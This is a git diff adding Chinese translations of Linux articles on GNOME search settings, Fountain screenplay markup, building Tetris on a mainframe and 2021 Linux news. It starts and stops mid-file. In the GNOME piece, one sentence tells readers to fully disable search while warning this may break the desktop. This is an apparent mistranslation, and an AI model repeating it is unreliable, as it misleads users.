https://news.itsfoss.com/gnome-40-release/ +[10]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/pop-os-21-10.png?w=864&ssl=1 +[11]: https://news.itsfoss.com/linux-kernel-5-15-release/ +[12]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/refresh-os-pop.png?w=898&ssl=1 +[13]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/pop-os-lockscreen.png?w=819&ssl=1 +[14]: https://pop.system76.com +[15]: https://blog.system76.com/post/670564272872488960/popos-2110-has-landed diff --git a/published/202112/20211216 Hide or Add Specific Folders From GNOME Search Results in Ubuntu and Other Linux Distributions.md b/published/202112/20211216 Hide or Add Specific Folders From GNOME Search Results in Ubuntu and Other Linux Distributions.md new file mode 100644 index 0000000000..45f1a8686b --- /dev/null +++ b/published/202112/20211216 Hide or Add Specific Folders From GNOME Search Results in Ubuntu and Other Linux Distributions.md @@ -0,0 +1,122 @@ +[#]: subject: "Hide or Add Specific Folders From GNOME Search Results in Ubuntu and Other Linux Distributions" +[#]: via: "https://itsfoss.com/control-gnome-file-search/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14115-1.html" + +GNOME 搜索功能的一些小技巧 +====== + +你可能已经注意到,当你在 GNOME 菜单/活动区搜索某样东西时,它也会显示名称与搜索词相匹配的文件,以及已安装的应用。 + +![](https://img.linux.net.cn/data/attachment/album/202112/25/115842tf8jjgn4ttz7nf4m.jpg) + +这是个很方便的功能。如果你记得文件名,甚至是它的一部分,你可以很容易地搜索到它,只需按下 `Super` 键(`Windows` 键)并输入文件名就可以打开它。 + +但是,围绕这个搜索功能,有一些你可能不知道或从未关心过的小问题。 + +在这篇文章中,我将分享你如何控制 GNOME 搜索功能,从搜索选项中添加或隐藏文件夹,以及完全禁用它。 + +注意:这专门针对使用 GNOME 的发行版。请 [确认你使用的是哪种桌面环境][2],确保是 GNOME。 + +### 文件搜索的默认位置 + +GNOME 的搜索功能使用了一个叫做 [Tracker Miner FS][3] 的工具。请不要被 “tracker” 和 “miner” 这样的术语吓到。它不是在监视你,也不是在你的系统上挖掘加密货币。它的基本功能是作为一个搜索引擎和数据库,为你提供即时搜索结果。 + +默认情况下,文件索引发生在元文件夹,如文档、音乐、图片和视频目录及其子目录。主页和下载文件夹中的文件也会被索引,但不包括其子目录中的文件。 + +![Default locations for file search][4] + +如果你在你的主文件夹中创建了一些新的目录,这些文件将不会被索引。 + +然而,最近访问的文件也会被自动编入索引。如果你最近打开了一个文件,它将被添加到 “最近的文件” 中,并将出现在搜索结果中,而不管它在什么地方。 + +如果你还不知道的话,你可以在文件管理器中看到你最近访问的文件: + +![Accessing recent files in GNOME file manager][5] + +### 在搜索结果中添加一个文件夹的内容 + +假设你在你的主目录中为编码项目创建了一个文件夹。这些文件不会被索引,也不会出现在搜索结果中(除非你通过双击打开了一个文件,并且它被添加到最近的文件中)。 + +要在搜索结果中添加自定义文件夹中的文件,你可以将该文件夹添加到搜索位置。 + +通过在菜单/活动区搜索打开 “设置” 应用。 + +![Search for settings application][6] + +从左侧边栏进入 “搜索” 选项,点击顶部的“搜索位置”选项。在弹出的窗口中,进入 “其他” 标签,点击 “+” 符号。它将打开文件浏览器,你可以添加你想要的文件夹。 + +![Adding a custom folder content to search][7] + +如果你在刚刚添加的文件夹中搜索一个文件名进行测试,你现在应该在搜索结果中看到它。它应该是即时的,但如果不是,请尝试注销或重启系统。 + +### 从搜索结果中隐藏一个文件夹 + +如果你不希望某个特定文件夹的文件出现在搜索结果中,你可以隐藏它。 + +如果你不希望在搜索中出现图片、文档、视频等元文件夹的内容,你可以从搜索位置设置中禁用它。 + +![Disable meta folders from the search][8] + +如果你只想让文档下的某个文件夹的内容不出现在搜索结果中,你只需要在该文件夹中创建一个名为 `.nomedia` 的新文件。你也可以将该文件命名为 `.git`、`.trackerignore` 或 `.hg`。 + +![Hide specific folder from search results by creating file named .nomedia or .hg or .git][9] + +如果你在鼠标右键中没有看到创建新文件的选项,你必须做一些调整来增加 [在右键上下文菜单中创建新文件选项][10]。还要注意的是,任何名称中以 `.` 开头的文件都会被隐藏起来,不能被正常查看。要 [切换显示隐藏文件][11],按 `Ctrl+H` 键。 + +这种隐藏可能不会立即生效,因为该文件可能已经被索引了。你可能必须注销或重启才能看到效果。 + +如果你手动访问一个文件,它将被添加到最近的文件中,并且会出现在搜索结果中,尽管文件夹中的文件被忽略了。 + +你可以从 “设置 -> 隐私 -> 文件历史 & 垃圾箱” 删除最近的文件历史或完全禁用它(如果你想的话)。不过我认为没有必要,所以在这里你自己决定吧。 + +![Clear or disable file access history in GNOME][12] + +### 禁用所有文件的搜索结果 + +如果你不希望任何文件出现在搜索结果中,你可以在搜索设置中完全禁用对文件的搜索。 + +![Disable search results for all files][13] + +你应该通过点击顶部的搜索切换按钮完全禁用搜索功能,它可能会干扰 GNOME 桌面环境的正常功能。 + +关于它的更多细节可以在 [项目主页] 中找到。 + +### 总结 + +这里的 _讨论的是文件搜索_。GNOME 桌面也可以在日历、字符映射和其他一些程序中进行搜索。你可以禁用或启用可用的搜索选项,但我们这篇不针对这些。 + +我希望你觉得这个快速提示对 [定制你的 GNOME 体验][15] 有帮助。如果你知道其他一些你想让别人知道的技巧,请在评论中与我们分享。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/control-gnome-file-search/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/gnome-file-search-result.png?resize=800%2C355&ssl=1 +[2]: https://itsfoss.com/find-desktop-environment/ +[3]: https://wiki.gnome.org/Projects/Tracker/Documentation/GettingStarted +[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/gnome-default-search-location.png?resize=800%2C533&ssl=1 +[5]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/12/access-recent-files-gnome-linux.png?resize=735%2C414&ssl=1 +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/04/settings-search-ubuntu-20-04.jpg?resize=800%2C230&ssl=1 +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/gnome-add-search-location.png?resize=800%2C525&ssl=1 +[8]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/disable-folders-from-search.png?resize=800%2C533&ssl=1 +[9]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/12/hide-specific-folder-from-search-results.png?resize=751%2C382&ssl=1 +[10]: https://itsfoss.com/add-new-document-option/ +[11]: https://itsfoss.com/hide-folders-and-show-hidden-files-in-ubuntu-beginner-trick/ +[12]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/clear-or-disable-file-history-gnome-linux.png?resize=800%2C389&ssl=1 +[13]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/12/disable-search-for-files-gnome.png?resize=800%2C475&ssl=1 +[14]: https://gnome.pages.gitlab.gnome.org/tracker/ +[15]: https://itsfoss.com/gnome-tricks-ubuntu/ diff --git a/published/202112/20211217 Write your screenplay on Linux in Fountain markdown.md b/published/202112/20211217 Write your screenplay on Linux in Fountain markdown.md new file mode 100644 index 0000000000..95d7ed5e8d --- /dev/null +++ b/published/202112/20211217 Write your screenplay on Linux in Fountain markdown.md @@ -0,0 +1,139 @@ +[#]: subject: "Write your screenplay on Linux in Fountain markdown" +[#]: via: "https://opensource.com/article/21/12/linux-fountain" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14114-1.html" + +在 Linux 上用 Markdown 编写你的电影剧本 +====== + +> Fountain markdown 技术只需要一个纯文本编辑器,如 Atom、Kate、Gedit 或类似的编辑器,它可以导出一个正确格式的 HTML 或 PDF 剧本。 + +![](https://img.linux.net.cn/data/attachment/album/202112/25/102630gl455tbmkq9lq5ty.jpg) + +剧本是一部电影的蓝图,过去它是在打字机上撰写的。你买台打字机就可以写剧本,可以写好多好多剧本。而现在没人用打字机写剧本了,因为打字机不再流行。 + +不过,令人费解的是,随着写作技术变得 “越好”,写剧本就越难。在剧本领域有严格的格式化规则,以帮助电影拍摄中的助理导演(AD)估计每个场景需要拍摄多长时间。你可能认为电脑会比在打字机上的完全手工过程更容易做到。然而,流行的计算机却用昂贵的软件来限制作家,这些软件已经嵌入了好莱坞文化。如果你没有合适的软件,你就会被告知,你永远不可能成为一个正式的编剧。 + +不过,所有这些都随着开源软件的出现而改变,写剧本的最简单方法之一就是根本不使用特殊的软件。[Fountain][2] markdown 技术只需要一个纯文本编辑器,如 [Atom][3]、[Kate][4]、[Gedit][5],或类似的,它可以导出一个正确格式的 HTML 或 PDF 剧本。 + +### 安装 Fountain + +Fountain 不需要安装,因为它不是软件;它是一套你在写作时使用的规则。你在写作时已经遵循了一些规则,比如你把句子的第一个字母大写,用句号来结束每句话,等等。当你用 Fountain 写作时,只需要添加一些专门针对剧本的新规则。 + +### 片段 + +在剧本中,每个场景都由一行大写字母划定,以 `INT.` 或 `EXT.` 开头,然后是一个地点、一个破折号,以及一天中的时间。这些说明被称为 “片段”。方便的是,这也是 Fountain 的规则,所以不用记住什么新的东西就可以创建一个片段。 + +``` +EXT. CASTLE COURTYARD - DAY +``` + +### 动作 + +当演员被要求执行一个特定的动作时,剧本中就会包含动作文本。这是正常的普通文本,完全按照你在书中写的文字来写。所有正常的规则都适用,所以对动作文本不用特别记什么规则。 + +``` +A wizard wanders out of a great stone door. She approaches the center of the courtyard and pauses. Something's caught her eye. + +It's a book. She leans down and picks it up. +``` + +### 对话 + +剧本中的对话格式是从左右边距缩进的。对于普通观众来说,它可能看起来是居中的,但实际上它是左对齐的。采用这种格式是为了帮助演员定位他们的台词,并使得剧本给口语对话留出更多的空间,因为在电影中,口语对话往往占据了大部分的时间。 + +在 Fountain 中,对话的规则是用大写字母写出说话的角色的名字。然后在下一行,正常写出对话内容。 + +``` +WIZARD + +I can sense your power. Grep? Sed? What strange terms! +``` + +当你导出你的剧本时,对话会被调整为适当的格式。 + +### 转场 + +现在这种做法已经不流行了,但传统上,在剧本中会有一些特殊的转场迹象,因为在很久以前,一些转场是要花很多钱的。今天,你仍然可以在剧本中看到转场,但它往往更多的是作为一组场景(或者,经典的整个电影淡出FADE OUT.)的一种标点符号,而不是对编辑的实际指示。 + +要在 Fountain 中创建一个过渡,在你的文本前加上大于号(`>`)。 + +``` +>ANGLE ON: + +The book's title page. It reads "Introduction to Linux." + +>FADE OUT. + +``` + +### 更多的规则 + +你可以在你的剧本中使用许多其他的 Markdown 约定,比如用星号来斜体、加粗和给文字加下划线。在 Fountain 中还有更多的规则来处理边缘情况和风格上的例外,但这四条规则在大多数情况下是你所需要的。 + +不过,Fountain 的简单性表明,一百年前的剧本格式设计得多么好。它有一个标准的结构,使人的眼睛很容易解析,这种可预测性也能很好地转化为计算机的解析。 + +### 输出和渲染 + +一旦你写完了,你就可以使用渲染程序将你的剧本导出为适当的格式。有 [几个渲染器可用][6],但我最喜欢的是 Atom 编辑器。要配置 Atom 以适当的格式显示 Fountain 预览文件,并在完成后将其导出为 PDF,请进入“编辑” 菜单,选择 “偏好”,并点击左侧面板中的 “安装” 链接。在搜索栏中,输入 “fountain” 来安装由开发者 _superlou_ 发布的 Fountain 插件。 + +![为 Atom 安装一个 Fountain 插件 (Seth Kenlon, CC BY-SA 4.0)][7] + +在安装时,你会被提示同意安装它的一些依赖项。一旦安装完毕,你可以进入 “软件包” 菜单,选择 “Fountain”,然后查看你的剧本预览或导出 PDF 版本。 + +Emacs 也有一个 Fountain 模式 ,它还可以在你输入时执行一些基本的格式化。 + +![Emacs 中的 Fountain 模式 (Seth Kenlon, CC BY-SA 4.0)][8] + +无论你使用什么文本编辑器,你总是可以使用专门的应用程序来渲染你的剧本。有一个叫 `Screenplain` 的 Python 模块我觉得很好用。要安装它,请在终端键入以下内容: + +``` +$ python3 -m pip install 'screenplain[PDF]' --user +``` + +这样将一个剧本渲染成 PDF: + +``` +$ screenplain --format pdf myscreenplay.fountain > script.pdf +``` + +![渲染后的 Fountain 文件 (Seth Kenlon, CC BY-SA 4.0)][9] + +### 开源的电影剧本 + +Fountain 是方便的。你可以撰写你的剧本,而不需要特别复杂的应用程序。 + +Fountain 是省钱的。你可以撰写你的剧本而不需要昂贵的软件。 + +Fountain 是灵活的。你可以在你用来写作的应用程序中进行创作。 + +Fountain 是适宜保存的。你不会因为一个应用程序过时了,或者没有商业支持了,或者因为你买不起而不能访问你的作品。 + +使用 Fountain 有很多很好的理由,但最重要的一点是它能帮助你专注于创作。如果你心中酝酿了一部电影,就用 Fountain 来写。这是通向可能是一个非常令人兴奋的旅程的第一步。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/12/linux-fountain + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/doc-dish-lead.png?itok=h3fCkVmU (Typewriter in the grass) +[2]: http://fountain.io +[3]: https://opensource.com/article/20/12/atom +[4]: https://opensource.com/article/20/12/kate-text-editor +[5]: https://opensource.com/article/20/12/gedit +[6]: https://fountain.io/apps +[7]: https://opensource.com/sites/default/files/fountain-atom.jpg (Install a Fountain plugin for Atom) +[8]: https://opensource.com/sites/default/files/fountain-emacs_0.jpg (Fountain-mode in Emacs) +[9]: https://opensource.com/sites/default/files/fountain-render.jpg (A rendered Fountain file) diff --git a/published/202112/20211218 How I play Tetris on the mainframe.md b/published/202112/20211218 How I play Tetris on the mainframe.md new file mode 100644 index 0000000000..65acf1d1d5 --- /dev/null +++ b/published/202112/20211218 How I play Tetris on the mainframe.md @@ -0,0 +1,73 @@ +[#]: subject: "How I play Tetris on the mainframe" +[#]: via: "https://opensource.com/article/21/12/mainframe-tetris" +[#]: author: "Elizabeth K. Joseph https://opensource.com/users/pleia2" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14127-1.html" + +我在大型机上玩俄罗斯方块 +====== + +> 下面是我如何通过访问虚拟 Linux 服务器,在大型机上编译和玩我最喜欢的游戏。 + +![](https://img.linux.net.cn/data/attachment/album/202112/29/102337wl9sx335t3gxguc5.jpg) + +可以 [在现代大型机上运行 Linux][2] 的能力为在该平台上做各种事情打开了大门。一个 Apache HTTP 服务器?很简单!一个数据库?你想用 SQL 还是 NoSQL?Kubernetes?当然没问题!正如我在 [大型机上的 Linux:过去和现在][3] 中总结的那样,今天所有最流行的服务器 Linux 发行版都有大型机的版本。 + +这对那些在大型机上运行关键任务基础设施的公司来说是个好消息,但如果你只是想玩玩大型机呢?我第一次在 IBM LinuxONE 上使用 bash shell 时,安装了 irssi 聊天客户端,向 IRC 上的所有朋友展示了 `/proc/cpuinfo` 的输出,以炫耀这是一个 s390x 架构的系统。 + +一开始,我对下一步该做什么感到茫然。然后我想,用这台巨大的计算机来玩游戏会很有趣。我首先想到的是 [NetHack][4],但事实证明,我可以用简单的 `apt install nethack-console` 来安装它。不,我应该编译一些东西才好玩!对于每一种计算机架构,你都需要为其编写的编译器和解释器。Linux 在大型机上已有 20 多年的历史,你通常期望的大多数编译器和解释器都已经被移植了。 + +在我的成长过程中,我最喜欢的游戏之一是俄罗斯方块,所以它是我进行实验的合理选择。我找到了一个用 C 语言编写的开源俄罗斯方块游戏,叫做 [vitetris][5],并试了试。这就像在任何其他 Linux 服务器上编译一个 C 语言程序一样。 + +首先,我需要安装一些依赖项。这台主机运行的是 Linux,所以我可以用我的包管理器来 [安装构建需求][6],然后我就顺利完成了。 + +接下来,就是获取代码和构建的问题了: + +``` +curl -LO https://github.com/vicgeralds/vitetris/archive/v0.58.0.tar.gz +tar xvf v0.58.0.tar.gz +cd vitetris-0.58.0/ +./configure +make +``` + +不一会儿,我就开始玩我最喜欢的游戏了! + +``` +./tetris +``` + +![Screenshot of an open source Tetris game in progress, running on Linux][7] + +正如我所说,这与在 Linux 服务器上构建其他 C 程序完全一样,但你是在大型机上做的。 + +不幸的是,我的车库里还没有一台大型机。相反,我是在马里斯特学院通过 [IBM LinuxONE 社区云][9] 计划托管的虚拟服务器上完成了这一切。它让你免费访问一个 s390x 架构的 Linux 服务器,你可以选择最流行的发行版。通过这个虚拟服务器,你可以在 120 天内进行实验。 + +如果你是一个开源项目的代表,正在考虑在 s390x 上为 Linux 构建你的应用,也有一个项目适合你。当我不玩俄罗斯方块的时候,我在 IBM 的实际工作就是与开源社区合作来做这件事。你可以请求一个永久的 Linux 虚拟服务器供你的社区用于开发,无论是进行手动测试以查看你的应用是否会构建,或正式将其添加到项目的持续集成系统中都行。我建议从社区云开始做一些实验,然后你可以填写 [这个表格][10] 来启动获得永久虚拟服务器的流程。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/12/mainframe-tetris + +作者:[Elizabeth K. Joseph][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/pleia2 +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/open_gaming_games_roundup_news.png?itok=KM0ViL0f (Gaming artifacts with joystick, GameBoy, paddle) +[2]: https://opensource.com/article/19/9/linux-mainframes-part-1 +[3]: https://opensource.com/article/19/9/linux-mainframes-part-2 +[4]: https://www.nethack.org/ +[5]: http://victornils.net/tetris/ +[6]: https://opensource.com/article/21/11/compiling-code +[7]: https://opensource.com/sites/default/files/uploads/tetris_osdotcom.png (Tetris) +[8]: https://creativecommons.org/licenses/by-sa/4.0/ +[9]: https://developer.ibm.com/gettingstarted/ibm-linuxone/ +[10]: https://www.ibm.com/community/z/open-source/virtual-machines-request/ diff --git a/published/202112/20211220 12 Biggest Linux Stories of the Year 2021.md b/published/202112/20211220 12 Biggest Linux Stories of the Year 2021.md new file mode 100644 index 0000000000..69797df02b --- /dev/null +++ b/published/202112/20211220 12 Biggest Linux Stories of the Year 2021.md @@ -0,0 +1,193 @@ +[#]: subject: "12 Biggest Linux Stories of the Year 2021" +[#]: via: "https://news.itsfoss.com/biggest-linux-stories-2021/" +[#]: author: "Abhishek https://news.itsfoss.com/author/root/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14103-1.html" + +2021 年的 12 件 Linux 大事 +====== + +> 现在,是时候回顾一下今年影响 Linux 和 Linux 用户的一些大事了。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/biggest-linux-stories-2021.png?w=1200&ssl=1) + +2021 年即将结束。Linux 今年屡有大事,虽然并不全是好消息。 + +让我来分享一些来自 Linux 世界的大事,这些事件对普通的 Linux 用户,特别是桌面 Linux 用户有一定的影响。 + +### 1、RMS 重返自由软件基金会 + +自由软件基金会Free Software Foundation(FSF)的创始主席 [Richard Stallman(RMS)在 2019 年因媒体的抨击而被迫辞职][1]。然而,这位标志性的嬉皮士技术人在今年 3 月份的 LibrePlanet 活动中出人意料地 [宣布复出][2]。 + +虽然自由软件运动是 Stallman 在 80 年代发起的,并创立了自由软件基金会(FSF),但这次他是以董事会成员之一的身份回归的,而不是以主席的身份。 + +这段插曲使开源世界再次分裂。许多组织和开发者反对他的回归。但与此同时,Stallman 也得到了 [来自非美国开发者的压倒性支持][3]。 + +尽管 [Stallman 已经道歉][4],但许多来自 GNOME 和开源推进计划Open Source Initiative的人 [主张撤换整个 FSF 董事会][5]。 + +许多主要的赞助商因此断绝了与 FSF 的关系,但 FSF 在财政困难的情况下仍在坚持。2021 年即将结束,Stallman 仍然活跃在他 30 多年前创立的组织的董事会中。 + +### 2、Arch Linux 引入了一个安装程序 + +不过不是图形化的。 + +你可能已经知道,安装 Arch Linux 并不像安装 Ubuntu 或 Fedora 那样简单。没有图形化的安装程序。一切都必须通过命令行来完成,但即使是这样,你也必须参考一些文档。 + +Arch Linux 试图通过提供一个用来指导你的安装脚本来改善这种情况。 + +![][6] + +当然,它不像图形化的安装那么舒服,但至少有指导的 Arch Linux 安装总比没有好。 + +这个 [archinstall 脚本可以在较新的 Arch Linux ISO 中找到][7],你可以在安装 Arch Linux 时在 TTY 中输入 `archinstall` 来使用它。 + +### 3、微软 Edge 浏览器登陆 Linux + +![][8] + +它已经测试一年多了,但在 2021 年我们终于看到了 [微软基于 Chromium 的 Linux 版 Edge 浏览器的最终稳定版][9]。 + +我知道一些 Linux 用户彻底反对接触任何微软的东西,这当然很好。它只是为 Linux 上长长的可用网页浏览器列表增加了一个选择。在 Windows 系统上使用 Edge 的人现在有能力在 Linux 上使用和同步他们的浏览器活动。 + +一些 [在 Linux 上安装了 Edge 浏览器][10] 的用户发现它出乎意料地好。就个人而言,比起其他浏览器,我还是更喜欢 Firefox,但如果 Edge 能把超高清或全高清的 Netflix 流媒体带到 Linux 上,它可能会成为我的辅助浏览器。 + +### 4、CentOS 替代品的崛起 + +红帽公司去年震惊了 Linux 世界,它决定 [干掉稳定的 CentOS,转而支持滚动发布的 CentOS Stream][11]。 + +这催生了 [几个 CentOS 替代发行版][12]。其中获得了最多人气和 CentOS 市场份额的两个发行版是 Rocky Linux 和 Alma Linux。 + +[Rocky Linux 是由 Gregory M. Kurtzer 创建的][13],他是 CentOS 的最初的创建者。 + +[Alma Linux][14] 是由 CloudLinux 创建的,它是一家提供了基于 CentOS 的服务器和内核补丁服务的企业。 + +这两个发行版已经占领了 CentOS 留下的市场。[红帽公司向小型企业免费提供 RHEL 许可证的计划][15] 并没有那么成功。 + +### 5、Steam Deck + +Valve 发布了一款名为 Steam Deck 的掌上游戏设备。它产生了相当大的反响,预购即售罄。 + +它与 Linux 有什么关系?有两个: + +首先,Steam Deck 运行在基于 Arch Linux 的定制 Steam OS 上。考虑到这些游戏将在基于 Linux 的操作系统上运行,这给桌面 Linux 上的游戏也带来了希望。 + +第二,Steam 声称所有的游戏(无论它们是否只在 Windows 上运行)都将可以在 Steam Deck 上运行。这个口号太大了,但是 [Steam 已经开始验证能在 Deck 上运行的游戏][16]。这可能意味着经过 Deck 验证的游戏在桌面 Linux 上应该也能正常运行。 + +![][17] + +### 6、反作弊引擎正式支持 Linux + +对 Linux 玩家来说这是又一个 2021 年的大新闻。[Epic Games 为其 Easy-Anti Cheat 服务增加了完整的 Linux 支持,以及官方 SteamPlay(或 Proton)和 Wine 兼容性][18]。 + +Easy-Anti-Cheat 是 Epic 提供的业界领先的反作弊服务,可以防止多人 PC 游戏中的黑客攻击和作弊。 + +这是一个重大举措,因为 Linux 游戏玩家经常被禁止参与许多流行的多人游戏,如《堡垒之夜》、《战地》。随着反作弊支持的加入,在 Linux 上玩主流多人游戏变得更加容易。 + +### 7、GNOME 40 + +![][19] + +[GNOME 40 是一个激进的版本][20]。几乎和 GNOME 3 一样激进。 + +不,将版本号从 3.38 跳到 40 并不是关键因素。 + +GNOME 40 换成了三指轻扫的水平布局。这种水平方式使得第 40 版在用户界面和用户体验上与之前的版本有很大不同。 + +### 8、内核 5.15 中支持 NTFS + +这可能看起来没什么,但 Linux 内核中对 NTFS 文件系统的适当驱动支持对许多人来说是件大事,特别是对于共享分区来说。 + +之前,NTFS 文件系统是在用户空间(FUSE)中借助 ntfs-3g 软件包使用的。这意味着数据的读取和写入速度很慢。 + +原生的驱动程序改善了 Linux 中 NTFS 文件系统的性能。 + +### 9、Linux 已经 30 岁了 + +![][21] + +Linux 内核比许多 Linux 用户都要老。它诞生于 1991 年 9 月,当时芬兰计算机科学专业的学生 Linus Torvalds 宣布了这个 “爱好项目”,它本应不是 “大而专业” 的。 + +Torvalds 以 Linux 项目作为他的毕业论文取得了他的硕士学位。Torvalds 不可能知道他的 “爱好” 将成为今天 IT 世界的支柱和一个成功的开源项目的代表。 + +### 10、Linus Tech Tips 对 Linux 桌面的实验 + +这是另一位将 Linux 推上风口浪尖的 Linus。 + +Linus Sebastian 是顶级的技术 YouTuber 之一,他开始挑战日常使用 Linux 30 天的目标。 + +一个拥有数百万订阅者的流行 YouTuber 使用了 Linux。这是一个前所未有的机会,是桌面 Linux 被数百万 Windows 用户看到的一次大公关。 + +但是它出了问题。实际上,是可怕的错误。 + +Linus Sebastian 在 Linux 上遇到了困难。他遇到了各种困难,[最后在试图安装 Steam 的时候毁掉了他的 Pop!_OS 系统][22]。 + +![][23] + +我不知道 Torvalds 是否看到了那些视频,这个与他同名的人在他的造物中苦苦挣扎。 + +### 11、苹果的 M1 Mac 上的 Linux + +一个苹果让世界认识了重力(尽管它已经存在)。一个苹果让世界认识了 ARM 处理器(尽管它也已经存在)。 + +苹果公司基于 ARM 的 M1 系列因其性能提升而在用户中大受欢迎。有一个专门的项目 [Asahi][24] 正在努力使 Linux 可以在苹果 M1 设备上运行。 + +2021 年,Asahi Linux 取得了一些良好的进展。他们的工作也将使其他发行版受益。 + +![Arch Linux 与 KDE Plasma 在 M1 Pro MacBook 上运行][25] + +### 12、Windows 11 发布 + +为什么 Windows 11 的发布与 Linux 有关呢?因为不是所有的现有系统都有资格运行 Windows 11。这意味着当 Windows 10 支持结束时,将有一大批设备运行一个过时的操作系统。他们中的一些人会转移到 Linux。 + +不要认为我过于乐观。当 Windows XP 支持结束时,我已经看到了这种流亡。一些 Linux Mint 和 Zorin OS 用户曾经是 Windows XP 的移民。 + +![][26] + +### 让我们希望 2022 年对我们所有人都好一些 + +2020 年开始的 COVID-19 流行病在今年继续困扰着世界。看看 Omicron 变种的传播情况,2022 年的情况看起来也不太乐观。 + +但是,让我们不要太悲观,庆祝新的一年,希望明年对桌面 Linux 用户和其他所有人会更好。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/biggest-linux-stories-2021/ + +作者:[Abhishek][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/root/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/richard-stallman-controversy/ +[2]: https://news.itsfoss.com/richard-stallman-is-back-at-fsf/ +[3]: https://news.itsfoss.com/stallman-supporters-not-giving-up/ +[4]: https://news.itsfoss.com/stallman-apologizes/ +[5]: https://news.itsfoss.com/stallman-return-revolt/ +[6]: https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/04/arch-install-tool.png?w=800&ssl=1 +[7]: https://news.itsfoss.com/arch-linux-easy-install/ +[8]: https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/10/microsoft-edge-beta-linux-ft.png?w=1200&ssl=1 +[9]: https://news.itsfoss.com/microsoft-edge-stable-release/ +[10]: https://itsfoss.com/microsoft-edge-linux/ +[11]: https://itsfoss.com/centos-stream-fiasco/ +[12]: https://itsfoss.com/rhel-based-server-distributions/ +[13]: https://news.itsfoss.com/rocky-linux-announcement/ +[14]: https://almalinux.org/ +[15]: https://news.itsfoss.com/rhel-no-cost-option/ +[16]: https://news.itsfoss.com/steamdeck-verified/ +[17]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/10/steam-deck-verified.png?w=1337&ssl=1 +[18]: https://news.itsfoss.com/easy-anti-cheat-linux/ +[19]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/03/gnome-40-activity-overview.png?w=940&ssl=1 +[20]: https://news.itsfoss.com/gnome-40-release/ +[21]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/tuxturns30.jpg?resize=1568%2C823&ssl=1 +[22]: https://news.itsfoss.com/more-linux-distros-become-linus-proof/ +[23]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/11/linus-sebastian-nukes-pop-os-while-installing-steam-os.webp?w=1232&ssl=1 +[24]: https://asahilinux.org/ +[25]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/kde-plasma-apple-m1.jpeg?resize=1568%2C1176&ssl=1 +[26]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/linux-meme-squid-game.jpg?w=1080&ssl=1 \ No newline at end of file diff --git a/published/202112/20211221 AppImage Pool is an App Store to Help You Find - Manage AppImages.md b/published/202112/20211221 AppImage Pool is an App Store to Help You Find - Manage AppImages.md new file mode 100644 index 0000000000..a16ef7bd63 --- /dev/null +++ b/published/202112/20211221 AppImage Pool is an App Store to Help You Find - Manage AppImages.md @@ -0,0 +1,110 @@ +[#]: subject: "AppImage Pool is an App Store to Help You Find & Manage AppImages" +[#]: via: "https://itsfoss.com/appimagepool/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14124-1.html" + +AppImage Pool:一个帮助你寻找和管理 